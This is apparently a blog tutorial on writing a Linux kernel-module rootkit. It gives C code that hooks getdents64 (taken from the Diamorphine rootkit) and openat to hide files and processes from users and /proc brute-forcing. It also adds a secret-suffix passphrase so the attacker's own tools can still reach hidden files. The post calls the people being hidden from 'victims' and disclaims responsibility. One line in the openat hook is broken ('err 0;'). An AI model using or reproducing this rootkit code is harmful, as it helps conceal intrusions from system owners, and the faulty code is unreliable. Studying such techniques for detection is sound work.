Every technique used in this rootkit can be found from internet, I am NOT responsible for any damage you might cause using my code

lkm

what you will learn

  • how to hide files
  • how to hide processes
  • how to hide them better so they cant be bruteforced
  • asmlinkage and related reversing techniques

hide file/dir/proc

to list items under a dir, we call getdents/getdents64, you can verify this by executing strace ls in your terminal

heres an example from diamorphine

asmlinkage long
hooked_getdents64(unsigned int fd, struct linux_dirent64 __user* dirent,
    unsigned int count)
{
    int ret = orig_getdents64(fd, dirent, count), err;
    unsigned short proc = 0;
    unsigned long off = 0;
    struct linux_dirent64 *dir, *kdirent, *prev = NULL;
    struct inode* d_inode;

    if (ret <= 0)
        return ret;

    kdirent = kzalloc(ret, GFP_KERNEL);
    if (kdirent == NULL)
        return ret;

    err = copy_from_user(kdirent, dirent, ret);
    if (err)
        goto out;

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
    d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
    d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
    if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
        /*&& MINOR(d_inode->i_rdev) == 1*/)
        proc = 1;

    while (off < ret) {
        dir = (void*)kdirent + off;
        if ((!proc && (memcmp(HIDE_ME, dir->d_name, strlen(HIDE_ME)) == 0))
            || (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
            if (dir == kdirent) {
                ret -= dir->d_reclen;
                memmove(dir, (void*)dir + dir->d_reclen, ret);
                continue;
            }
            prev->d_reclen += dir->d_reclen;
        } else
            prev = dir;
        off += dir->d_reclen;
    }
    err = copy_to_user(dirent, kdirent, ret);
    if (err)
        goto out;
out:
    kfree(kdirent);
    return ret;
}

in diamorphine, the type of this function is asmlinkage int, actually it doesnt matter in this context, but it might in others:

syscalls are of type long, thus, when a user space program such as glibc depends on its return value, it expects a long int, if you feed it with int, things will go very wrong

in getdents64, the output buf is given in its params list: struct linux_dirent64 __user* dirent

what is __user? its a marker, meaning this pointer resides in user space, which is why we use copy_to_user() to write to its buf

to change this output buf, first we need to get the original output, by calling the original syscall getdents64, assuming orig_getdents64:

int ret = orig_getdents64(fd, dirent, count), err;

after gaining dirent, we need to check if it contains entries we want to hide. as i just said, we cant read a user space pointer, so we copy_from_user, now the buf is in kdirent

read kdirent, filter anything we want to hide, and copy_to_user eventually, output goes to user space dirent, job is done

wait, what about procs?

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
    d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
    d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
    if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev))
        proc = 1; // we found current fd is a /proc dir

this piece of code checks if current fd points to proc fs, if yes, we say we are lsing a /proc dir

i_ino is inode number, representing its index number in linux vfs (virtual filesystem), PROC_ROOT_INO is defined as 1:

/* /include/linux/proc_ns.h */
/*
 * We always define these enumerators
 */
enum {
    PROC_ROOT_INO           = 1,
    PROC_IPC_INIT_INO       = 0xEFFFFFFFU,
    PROC_UTS_INIT_INO       = 0xEFFFFFFEU,
    PROC_USER_INIT_INO      = 0xEFFFFFFDU,
    PROC_PID_INIT_INO       = 0xEFFFFFFCU,
    PROC_CGROUP_INIT_INO    = 0xEFFFFFFBU,
};

so if an inode's i_ino equals PROC_ROOT_INO, its name will be /proc

next we need to take a look at dirent struct, which holds a directory entry (can be either a file or a sub directory)

// this is what dirent looks like
// pay attention to d_name
struct linux_dirent64 {
    ino64_t        d_ino;    /* 64-bit inode number */
    off64_t        d_off;    /* 64-bit offset to next structure */
    unsigned short d_reclen; /* Size of this dirent */
    unsigned char  d_type;   /* File type */
    char           d_name[]; /* Filename (null-terminated) */
};

how the filter works:

while (off < ret) {
    dir = (void*)kdirent + off;
    if ((!proc && (memcmp(HIDE_ME, dir->d_name, strlen(HIDE_ME)) == 0))
        || (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
        if (dir == kdirent) {
            ret -= dir->d_reclen;
            memmove(dir, (void*)dir + dir->d_reclen, ret);
            continue;
        }
        prev->d_reclen += dir->d_reclen;
    } else
        prev = dir;
    off += dir->d_reclen;
}
err = copy_to_user(dirent, kdirent, ret);
if (err)
    goto out;

this loop goes thro the result (an array of dirent) returned by getdents64, check each entry if it:

  • is under /proc and is invisible
  • has a HIDE_ME prefix

filter it when either of the above are met

the former effectively hide the process itself

hide better

no we are not done with file hiding, because our "hidden" files can still be opened and read.

perhaps you dont care, coz you might think no one knows what you may named your files, but theres one exception, the procfs

as we all know, /proc has a lot of numeric sub-directories, which are PIDs of the currently running processes. PIDs can be bruteforced, no doubt

assume you hide your PID directory from getdents/getdents64 so ps is not aware of the existence of your process. the thing is, however, i can do ls /proc/1 to ls /proc/ULONG_MAX, as long as your process is alive, i can find it

to solve this issue, we need to hijack open at least

open/openat

modern glibc use openat in many cases, while older versions use open, the difference:

The openat() system call operates in exactly the same way as open(), except for the differences described here.

If the pathname given in pathname is relative, then it is interpreted relative to the directory referred to by the file descriptor dirfd (rather than relative to the current working directory of the calling process, as is done by open() for a relative pathname).

If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the current working directory of the calling process (like open()).

If pathname is absolute, then dirfd is ignored.

changelog:

openat() was added to Linux in kernel 2.6.16; library support was added to glibc in version 2.4.

we dont care about their differences, we are going to hijack both

declarations:

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);

int creat(const char *pathname, mode_t mode);

int openat(int dirfd, const char *pathname, int flags);
int openat(int dirfd, const char *pathname, int flags, mode_t mode);

how to

i am gonna omit the "how to hijack" part, as i have done that in previous chapter

heres the code:

asmlinkage long
hooked_openat(int dirfd, const char __user* pathname, int flags, int mode)
{
    int err;
    err 0;

    // cannot use user-mode pointer in kernel
    char* kpathname;
    kpathname = NULL;
    int pathlen = strnlen_user(pathname, 256);
    kpathname = kzalloc(pathlen, GFP_KERNEL);
    if (kpathname == NULL)
        return -ENOENT;

    err = copy_from_user(kpathname, pathname, pathlen);
    if (err)
        return -EACCES;

    // check for keyword
    if (strstr(kpathname, HIDE_ME) != NULL) {
        /* printk("Got a hit\n"); */
        kfree(kpathname);
        return -ENOENT;
    }

    kfree(kpathname);
    // execute original syscall
    return orig_openat(dirfd, pathname, flags, mode);
}

this function checks if pathname contains HIDE_ME, returns -ENOENT if yes

theres a problem, though, our userspace programs still need to open that hidden file. so we will need to implement something to whitelist our applications

i thought of a solution: magic suffix, when our userspace programs need to open a hidden file, it append a passphrase to target pathname: /path/to/file---HIDE_ME---s3cr3t

improved code:

// check for keyword
if (strstr(kpathname, HIDE_ME) != NULL && strstr(kpathname, SECRET) == NULL) {
    /* printk("Got a hit\n"); */
    kfree(kpathname);
    return -ENOENT;
}

when opening pathname with SECRET suffix, we drop the suffix and use orig_openat to open the target file

as for procfs, addtional check is needed, everthing under our hidden /proc/PID should be hidden too

serveral tips:

  • pathname is from user space, thus copy_from_user magic is required
  • function type must be long, ive tried int, it returns UINT_MAX - 2 instead of -2 (-ENOENT)
  • -ENOENT means no such file or directory

basically we just check the pathname pointer, and act accordingly. here i simply return an -ENOENT so victims think the target file is non-existence

open is the same thing, except for dirfd parameter. we dont care about how open opens a file, we just let the original open do the job

asmlinkage???

The asmlinkage tag is one other thing that we should observe about this simple function. This is a #define for some gcc magic that tells the compiler that the function should not expect to find any of its arguments in registers (a common optimization), but only on the CPU's stack. Recall our earlier assertion that system_call consumes its first argument, the system call number, and allows up to four more arguments that are passed along to the real system call. system_call achieves this feat simply by leaving its other arguments (which were passed to it in registers) on the stack. All system calls are marked with the asmlinkage tag, so they all look to the stack for arguments. Of course, in sys_ni_syscall's case, this doesn't make any difference, because sys_ni_syscall doesn't take any arguments, but it's an issue for most other system calls. And, because you'll be seeing asmlinkage in front of many other functions, I thought you should know what it was about.

It is also used to allow calling a function from assembly files.

a quote from stackoverflow:

Note that the first parameters of the Linux kernel functions are passed in registers on x86 by default. On x86-32 the first 3 parameters are passed in %eax, %edx and %ecx, in that order, the rest go on stack. The functions with variable argument lists are an exception, they get all their arguments on stack on x86-32. On x86-64, the first 6 parameters are passed in %rdi, %rsi, %rdx, %rcx, %r8, %r9 (even for the functions with varargs), in that order, the rest - on the stack. The system calls follow different conventions though. – Eugene May 5 '12 at 8:10

(continued) As @dirkgently noted, asmlinkage is a way to override thу default conventions on parameter passing. See also a detailed description of various calling conventions in Agner Fog's manual. – Eugene May 5 '12 at 8:15


Comments

comments powered by Disqus